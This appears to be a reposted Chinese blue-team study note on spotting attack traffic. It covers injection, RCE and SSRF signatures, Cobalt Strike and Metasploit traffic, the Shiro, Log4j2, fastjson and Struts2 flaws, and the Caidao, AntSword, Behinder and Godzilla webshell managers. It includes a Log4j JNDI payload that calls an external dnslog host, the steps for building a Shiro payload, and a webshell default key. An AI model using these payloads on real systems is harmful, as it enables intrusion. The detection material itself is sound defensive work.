逻辑漏洞常见模块场景
常见攻击流量特征
sql注入流量特征
1、特殊关键字:
-
SQL关键字,如SELECT, WHERE, ORDER BY, UNION, UPDATE,DELETE,
INSERT等,这些通常用于构建或修改查询
-
系统函数,如USER(), @@VERSION(在MySQL中),这些可能用于获取数据库版本或当前用户等敏感信息
-
特定数据库的函数或特性,如information_schema(用于获取数据库结构信息)、extractvalue(XML相关函数,有时用于绕过某些过滤)、floor(在盲注中用于产生条件差异)等。
2、编码和转义:
特殊字符(如单引号'、双引号"、等号=等)进行编码,常见的编码包括URL编码(如%27代表单引号)、十六进制编码等。使用注释符号,如--或/* */,来注释掉SQL语句的某部分,以改变查询的行为
3、多个或错误的SQL语句:攻击者可能尝试在一个请求中插入多个SQL语句,或者插入格式错误的SQL语句,以触发数据库的错误响应或执行未经授权的操作
XSS流量特征
1、Payload中包含HTML或JavaScript标签
2、如果在返回的响应包中发现了与请求包中相同的攻击语句,并且这些语句仍然被包裹在HTML标签内
3、请求中携带XSS脚本,返回值包含脚本并可嵌入HTML页面
4、返回包中的攻击语句未被转义
RCE流量特征
1、请求体或URL中,可能会出现危险的函数,如PHP中的system()、exec()、shell_exec()、passthru函数,popen函数,eval函数和assert()、JSP和ASP代码中也可能出现类似的运行时命令执行代码
2、流量中可能包含特殊字符,如|,||,&,&&,反引号 ,>,>>,<,<<等,这些字符在命令行中常常被用于命令连接、条件判断或重定向等功能
3、流量中可能出现系统命令、系统目录或敏感文件的引用
-
系统命令:如ls、cat、rm等,用于查看、读取或删除文件。
-
系统目录:如/etc、/var/log等,存储了系统的配置文件和日志文件。
-
敏感文件:如/etc/passwd、/etc/shadow等,包含用户账户和密码信息。
SSRF流量特征
1、URL参数异常:URL参数是否修改为指向内网地址或其他不应该被访问的地址,(share、wap、url、link、src、source、target、domain等)这些参数后面的值是不是内网的IP地址或者是127.0.0.1或者是一些协议的一些关键字眼
2、伪协议使用:查看URL上是否有file/gopher/ftp/dict协议等伪协议来访问目标资源
3、参数值后面存在特殊字符:攻击者可能会使用特殊字符来绕过安全过滤机制,例如点号.、冒号:、空格等。也可能使用各种编码(如URL编码、Base64编码等)或进制转换来隐藏或混淆IP地址或域名,特殊的域名如xip.io可能被用于动态生成IP地址,从而绕过某些安全限制
红队工具流量特征
CobaltStrike流量特征
2、HTTPS证书特征:在https-beacon通信中,CobaltStrike默认使用空证书建立加密通道
3、DNS请求异常:DNS隧道技术来传输数据,在DNS请求中,域名可能以特定前缀开头(如“cdn.”、“www6.”、“api.”等),查询结果可能包含非常规的IP地址,这些地址用于指令传输或心跳检测。
4、心跳包特征:CobaltStrike通过发送心跳包来保持与被控端的通信。这些心跳包可能是定期发送的,其默认间隔通常为60秒,用于确认被控端的在线状态。
5、端口特征:CobaltStrike默认使用50050端口进行通信。然而,这个端口是可以修改的,只需要编辑teamserver文件并修改server_port即可。
6、源码特征:在流量中,通过http协议的url路径,经过checksum8解密算法计算后,32位的后门得到的结果是92,而64位的后门得到的结果是93
Metasploit 流量特征
1、端口号:msf数据库默认使用的postgresql的端口可能是5432,msf默认使用4444端口作为反向连接端口
2、数据内容:msf数据包通常包含特定字符串"meterpreter"、"revshell"等
3、特殊协议:MSF 框架通常会使用一些特殊的协议,例如 Meterpreter、Reverse TCP 等
sqlmap流量特征
-
User-Agent关键字特征:Sqlmap工具在发起请求时,其默认的UserAgent中通常包含“sqlmap”关键字,如“sqlmap/1.5.8#stable
-
攻击流程的顺序和规律:Sqlmap的攻击流程通常遵循一定的顺序和规律。例如在利用--os-shell攻击时,它会首先测试链接是否能够访问,接着判断操作系统版本,尝试爆绝对路径,指定上传路径,写入一个php文件,找到上传文件的访问路径,上传另一个php文件并执行命令等
-
Payload测试语句的模板特征:Sqlmap使用的payload测试语句往往具有模板特征。例如,在盲注入时,它会使用逻辑语句(如and、or)和特定的函数来测试SQL注入的可行性。这些语句在流量中会以特定的模式出现,如尝试让SQL语句报错来发现SQL漏洞,或者使用特定的函数(如@@version_compile_os)来判断操作系统等。
Shiro反序列化漏洞原理
利用过程
-
构造Payload:攻击者首先需要将恶意代码序列化为字节流。
-
AES加密:然后,使用Shiro默认的AES密钥对这个字节流进行加密。
-
Base64编码:接着,对加密后的字节流进行Base64编码,使其可以作为cookie值的一部分。
-
设置Cookie:最后,将这个Base64编码后的值设置为rememberMe cookie的值,并将其发送给目标服务器。
当目标服务器接收到这个恶意的rememberMe cookie时,它会尝试对其进行解密和反序列化,从而触发漏洞,执行攻击者指定的恶意代码。
Shiro550与Shiro721的区别
-
Shiro550:这个漏洞利用了已知密钥碰撞,不需要真实的rememberMe cookie,只需要有足够的密钥库来尝试碰撞。
-
Shiro721:在这个版本中,AES加密的密钥不再是硬编码的,而是系统随机生成的。这使得攻击者很难直接猜到正确的密钥。然而仍然可以利用登录后的有效rememberMe cookie作为Padding Oracle Attack的前缀,通过精心构造的cookie值来实现反序列化漏洞攻击
Shiro反序列化流量特征
-
未登录状态:请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段。
-
登录失败:无论是否勾选RememberMe,返回包都会有rememberMe=deleteMe字段。
-
不勾选RememberMe登录成功:返回包set-Cookie会有rememberMe=deleteMe字段,但后续请求中Cookie不会有rememberMe字段。
-
勾选RememberMe登录成功:返回包set-Cookie会有rememberMe=deleteMe字段和rememberMe字段,后续请求中Cookie也会有rememberMe字段。
Apache Log4j2 远程代码执行漏洞原理
Apache Log4j2 框架中存在一个名为 JNDI Lookup 的功能,它允许通过配置文件中的 JNDI 名称引用外部资源。lookup功能的实现类 JndiLookup 的设计缺陷导致,启动一个JNDI服务,通过rmi注册一个恶意实例,使用lookup远程加载导致RCE${jndi:ldap://log4j.voxxaq.dnslog.cn},构造一个特殊的日志消息,其中包含恶意的 JNDI 名称,并通过网络发送给受影响的应用程序。当应用程序使用 Log4j2 框架解析日志消息时,它会尝试查找和引用该 JNDI 名称。如果恶意的 JNDI 名称指向一个恶意的远程资源,例如恶意的 LDAP 服务器或 RMI 服务,攻击者可以控制该远程资源的内容和行为。攻击者可以在恶意的远程资源中注入恶意代码,并在目标系统上执行任意命令或获取敏感信息
Log4j2 远程代码执行流量特征
1、dnslog类:查看是否存在源ip与dnslog的外联日志记录
2、数据包里有{jndi:ladp//}字段
3、命令执行攻击
有回显:响应体中存在命令执行结果
无回显 :存在源ip与ldap服务ip的外联日志记录
fastjson反序列化漏洞原理
在请求包里面中发送恶意的json格式payload,漏洞在处理json对象的时候,没有对@type字段进行过滤,从而导致攻击者可以传入恶意的TemplatesImpl类,而这个类有一个字段就是bytecodes,有部分函数会根据这个bytecodes生成java实例,这就达到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数
fastjson反序列化流量特征
1、Payload中的特定关键词: Fastjson反序列化漏洞通常会利用恶意构造的JSON Payload,其中可能包含一些特定的关键词或字符串,例如""@type"",@type字段指定要加载的类,常见的带有ladp、rmi协议地址
2、HTTP请求方法: 恶意请求通常使用POST方法,因为Fastjson反序列化漏洞通常利用HTTP POST请求发送恶意JSON数据
3、HTTP请求头部: 检查HTTP请求头部,特别是Content-Type字段,通常Fastjson漏洞攻击会将Content-Type设置为"application/json"。
struts2命令执行漏洞原理
Struts2框架的动态性在于其使用的OGNL表达式可以在运行时获取变量的值并执行函数调用。如果可以将恶意的请求参数传递到OGNL的执行流程中,就会导致任意代码执行漏洞。Struts2的RCE(远程代码执行)本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传入的OGNL表达式,造成远程代码执行。可以利用这一漏洞执行远程命令,获取系统权限,或者进行其他恶意行为。
struts2命令执行流量特征
1. 在请求头中存在OGNL表达式,一般在url中会出现的攻击特征主要是:.action?method | ?redirect:$ 在conten-type中出现的攻击特征主要有:%{#context 、在报文体中出现的攻击特征主要有:#_memberAccess 等
2. 判断请求中是否包含特定的 Struts2 关键字,如"method:"、"redirect:"memberAcecess,getRuntime,println,双引号,单引号,等号,括号之类的符号。等,这些关键字可能是用于执行命令的操作;
3. 检查请求中是否包含"Content-Type"头字段,并且值为"application/x-www-form-urlencoded",这是 Struts2 框架默认的 Content-Type 值,用于处理 POST 请求;
4. 检查请求参数中是否包含OGNL表达式,如"${}"、"%{}"等字符;
5. 检查请求是否包含一个名为"class"的参数,值为"java.lang.Runtime",这个参数可以用于执行系统命令
webshell管理工具流量特征
菜刀流量特征:
1、默认的webshell中链接密码都是caidao、webshell 为一句话木马
2、请求包中的User-Agent(UA)头可能为百度或火狐等爬虫标识
3、请求体中存在 eval,base64等特征字符,eval函数用于执行传递的攻击payload,菜刀默认是使用Base64编码(base64_decode($_POST[XXX]))将攻击payload进行Base64解码
4、响应为明文,格式为 X@Y +内容 + X@Y、php的webshel中流量参数z0、z1、z2
5、连接建立后,会发送特定的验证码,如“knife”或“dadan”等进行验证
蚁剑流量特征:
1、默认的User-Agent请求头:蚁剑的默认User-Agent请求头通常为“antsword xxx”,但这个值是可以修改的。
2、请求体特征:PHP类WebShell流量请求体通常都以@ini_set("display_errors","0");@set_time_limit(0)开头
3、Webshell静态与动态特征:
-
在使用蚁剑上传和管理Webshell时,不同的脚本语言(如PHP、ASP、JSP)会展现出不同的静态特征。例如,PHP中可能使用assert、eval执行代码,而ASP则主要依赖eval执行。
-
动态特征方面,通过上传Webshell并抓包分析,可以发现每个请求体都包含特定的代码片段(如上述的@ini_set等),并且响应体通常会进行base64编码混淆,解码后,可以观察到攻击行为的payload。
4、加密与混淆:蚁剑使用了AES加密,同时采用二进制协议通信,在混淆加密后,参数名大多以“_0x.....=”的形式出现,其中“_0x”后面的部分通常是加密后的数据。
5、URL加密:蚁剑的正文内容通常使用URL加密,解密后的流量中,上述的@ini_set("display_errors","0")等特征会更为明显
冰蝎2.0流量特征:
1、请求头部:User-Agent字段可能表现出多样性
2、请求体:通常使用AES加密,并通过base64编码进行传输
3、Cookie字段:建立连接后,所有请求的Cookie格式通常为Cookie: PHPSESSID=; path=/;
4、返回包特征:在建立连接的初始阶段,返回包中通常包含16位的密钥,用于后续的通信加密。
5、数据包结构:具有特定的结构特征,如通常以0x01开头,以0x00结尾,中间包含蝎子协议特征数据
冰蝎3.0流量特征:
1、加密与编码:
-
冰蝎3.0使用AES加密和base64编码进行通信
-
冰蝎3.0使用固定的连接密钥。AES加密的密钥直接固定为webshell连接密码的MD5哈希值的前16位。默认情况下,连接密码是“rebeyond”,因此AES加密的密钥就是“e45e329feb5d925b”。
2、User-Agent多样性:冰蝎3.0在请求时内置了多个User-Agent头,并在每次请求时随机选择其中一个
3、Content-Type字段:当冰蝎3.0连接jsp的webshell时,请求数据包中的Content-Type字段常见为“application/octet-stream”。
4、请求头字段:冰蝎3.0的请求包中还可能包含其他特定的请求头字段,如“Pragma: no-cache”和“Cache-Control: no-cache”,用于控制缓存行为。
5、content-length字段:通常为5740或5720,但这一数值可能会根据Java版本的不同而有所变化。同时,请求头中仍然包含随机选择的User-Agent,以增加流量的隐蔽性。
冰蝎3.11流量特征
1、头部信息特征:冰蝎3.11的header头顺序是颠倒的,这种非标准的请求头顺序有助于识别其流量。
在通信过程中,冰蝎3.11可能会频繁使用特定的User-Agent,如“WOW64”等
2、数据编码与加密:发送的数据包通常是base64编码的,而返回的数据包则是以字节数组的形式呈现,这可能导致接收到的数据出现乱码现象。
冰蝎3.11对交互流量进行AES对称加密,这种加密方式使得流量内容难以被直接解析,增加了其隐蔽性。
3、密码验证与连接建立:如果冰蝎3.11的密码不正确,会出现两个连接尝试,一个是POST请求,另一个是GET请求,其content-type为application/octet-stream。
在请求包中,content-length的值可能为5740或5720(可能会根据Java版本而改变),这也是一个识别冰蝎3.11流量的线索。
4、缓存控制:在每一个请求头中,都可能存在Pragma: no-cache和Cache-Control: no-cache这样的缓存控制字段,这是冰蝎3.11为了避免被缓存而采取的措施。
5、请求路径:冰蝎3.11可能会频繁访问默认的路径,如“/con”,这种特定的访问模式也是识别其流量的一个重要依据。
哥斯拉流量特征:
1、Webshell特征:使用eval和base64编码。eval函数用于执行传递的攻击payload,而base64编码则用于混淆和隐藏数据。
2、请求包特征:
-
请求包通常以“pass=”为起始,这是一个用于传递认证信息的常见参数
-
哥斯拉的请求包通常较长,而响应包长度可能为0
-
在一个TCP包中可能包含三个HTTP请求
-
User-Agent字段在默认情况下类似于“Java/1.8.0_121”,具体版本取决于JDK环境版本
-
Cookie字段中存在一个关键的特征,即最后一个Cookie值的末尾有一个不必要的分号,在标准的HTTP请求中,最后一个Cookie的值后面不应该出现分号
3、响应包特征:哥斯拉的响应包具有特定的结构特征,即整个响应包的结构体征为:md5前十六位+base64+md5后十六位
护网招聘
2024HVV简历可以投递至邮箱,格式为:姓名-手机号码-级别.pdf
投递邮箱:[email protected]
原文始发于微信公众号(青锋云盾):护网蓝队之研判分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论